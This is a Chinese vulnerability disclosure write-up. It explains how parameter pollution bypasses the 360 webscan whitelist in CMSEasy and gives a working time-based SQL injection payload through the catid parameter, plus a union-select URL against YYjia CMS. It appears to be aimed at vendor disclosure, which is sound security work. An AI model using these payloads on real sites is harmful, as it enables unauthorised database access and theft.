使用webscan360的cms厂商通过hpp使其失效(附cmseasy新版sql注射),思前想后,不知道这个漏洞到底该给360呢 还是给cmseasy 最终还是给了确认神速的cmseasy
默认安装cmseasy最新版本 webscan_cache.php:
$webscan_white_url = array('index.php' => 'admin_dir=admin','index.php' => 'case=file','index.php' =>'case=admin');
然后再看 360webscan.php:
if ($webscan_switch&&webscan_white($webscan_white_directory,$webscan_white_url)) { if ($webscan_get) { foreach($_GET as $key=>$value) { webscan_StopAttack($key,$value,$getfilter,"GET"); }
第一个条件 $webscan_switch 这个值初始化时候是1 第二个条件只要不成立 那么就不仅行检测了 跟进去webscan_white:
function webscan_white($webscan_white_name,$webscan_white_url=array()) { $url_path=$_SERVER['SCRIPT_NAME']; $url_var=$_SERVER['QUERY_STRING']; if (preg_match("/".$webscan_white_name."/is",$url_path)==1&&!empty($webscan_white_name)) { return false; } foreach ($webscan_white_url as $key => $value) { if(!empty($url_var)&&!empty($value)){ if (stristr($url_path,$key)&&stristr($url_var,$value)) { return false; } } elseif (empty($url_var)&&empty($value)) { if (stristr($url_path,$key)) { return false; } } } return true; }
这个函数不多做分析,就是从白名单里面拿出来,如果符合条件,那么不进行检测 if (stristr($url_path,$key)&&stristr($url_var,$value)) { return false; } 这个显而易见就是 如果请求为$key 并且参数中有$value 就返回false 根据刚才的分析,默认白名单 我们发送的请求中case=admin那么就不进行防御 根据hpp apache的定义 参数case=admin&case=123 最终服务器端获取的是case=123 所以这样就不影响逻辑了 发送url:
由此可见防御没有起作用 那么我们找找 有没有sql注入的地方 archive_act.php:
function search_action() {//print_r($_SESSION);exit(); if (front::get('ule')) { front::$get['keyword'] = str_replace('-', '%', front::$get['keyword']); front::$get['keyword'] = urldecode(front::$get['keyword']); } if (front::get('keyword') && !front::post('keyword')) front::$post['keyword'] = front::get('keyword'); front::check_type(front::post('keyword'), 'safe'); if (front::post('keyword')) { $this->view->keyword = trim(front::post('keyword')); session::set('keyword', trim(front::post('keyword'))); /* if(isset(front::$get['keyword'])) front::redirect(preg_replace('/keyword=[^&]+/','keyword='.urlencode($this->view->keyword),front::$uri)); else front::redirect(front::$uri.'&keyword='.urlencode($this->view->keyword)); */ } else { $this->view->keyword = session::get('keyword'); } if(preg_match('/union/i',$this->view->keyword) || preg_match('/"/i',$this->view->keyword) ||preg_match('/\'/i',$this->view->keyword)){ exit('非法参数'); } $path = ROOT . '/data/hotsearch/' . urlencode($this->view->keyword) . '.txt'; $mtime = @filemtime($path); $time = intval(config::get('search_time'))?intval(config::get('search_time')):30; if(time() - $mtime < $time && !front::get('page')){ //alertinfo($time.'秒内不能重复搜索','index.php?t='.front::get('t')); } $keywordcount = @file_get_contents($path); $keywordcount = $keywordcount + 1; file_put_contents($path, $keywordcount); $type = $this->view->category; $condition = ""; if (front::post('catid')) { $cateobj = category::getInstance(); $sons = $cateobj->sons(front::post('catid')); if(is_array($sons) && !empty($sons)){ $cids = front::post('catid').','.implode(',',$sons); }else{ $cids = front::post('catid'); } $condition .= "catid in (".$cids.") AND ";
这里如果提交post[catid],就构成sql注射了 我们在跟进一下:
function getrows($condition='',$limit=1,$order='1 desc',$cols='*') { $this->condition($condition); $this->record_count=$this->rec_count($condition); $res=$this->rec_select($condition,$limit,'*',$order); return $res; }
function condition(&$condition) { if (isset($condition) &&is_array($condition)) { $_condition=array(); foreach ($condition as $key=>$value) { //$value=str_replace("'","\'",$value); $key = htmlspecialchars($key,ENT_QUOTES); if(preg_match('/(if|select|ascii|from|sleep)/i', $value)){ //echo $condition; exit('sql inject'); } if(preg_match('/(if|select|ascii|from|sleep)/i', $key)){ //echo $condition; exit('sql inject'); } $_condition[]="`$key`='$value'"; } $condition=implode(' and ',$_condition); } else if (is_numeric($condition)) { if(preg_match('/(if|select|ascii|from|sleep)/i', $condition)){ //echo $condition; exit('sql inject'); } $this->getFields(); $condition="`$this->primary_key`='$condition'"; }else if(true === $condition){ $condition = 'true'; }else{ //echo $condition." __ "; if(preg_match('/(if|select|ascii|from|sleep)/i', $condition)){ //echo $condition; exit('sql inject'); } }
发现这里又做了一层防御,看到这里只能用banchmark了 我们发送url: http://localhost:8081/cmseasy/uploads/index.php?case=admin&case=archive&act=search&catid=8 postdata: catid=3) and benchmark( 10000000, md5(123))#
造成七秒延迟 抓取的sql: 2015/3/4 17:58 SELECT * FROM `cmseasy_archive` WHERE catid in (3) and benchmark( 10000000, md5(123))#) AND (title like '%%') and (state IS NULL or state<>'-1') ORDER BY `listorder`,1 DESC limit 0,12 在看一个cms: YYjia cms 发送url: http://localhost:8081/index.php?m=admin&ac=register&a=1 union select 1,2,3,4